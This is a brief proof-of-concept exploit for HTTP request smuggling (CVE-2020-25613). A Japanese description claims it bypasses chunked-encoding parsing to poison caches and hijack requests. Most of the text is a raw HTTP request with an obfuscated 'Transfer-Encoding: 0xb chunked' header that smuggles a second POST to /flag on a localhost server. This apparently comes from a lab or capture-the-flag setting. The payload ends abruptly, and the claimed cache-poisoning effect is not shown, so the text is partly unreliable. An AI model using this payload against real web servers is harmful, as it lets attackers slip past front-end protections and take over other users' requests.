
HTTPリクエストスマグリングの脆弱性CVE-2020-25613に対する概念実証エクスプロイト。チャンク転送エンコーディングのパースバイパスを実証し、キャッシュを汚染してリクエストを乗っ取る。
POST / HTTP/1.1
Host: 127.0.0.1:1080
Content-Type: text/html
Content-Length: 129
Connection: keep-alive
Transfer-Encoding: 0xb chunked
1
A
0
POST /flag HTTP/1.1
Host: 127.0.0.1:1080
Content-Length: 180
Connection: keep-alive
Content-Type: text/html
URI: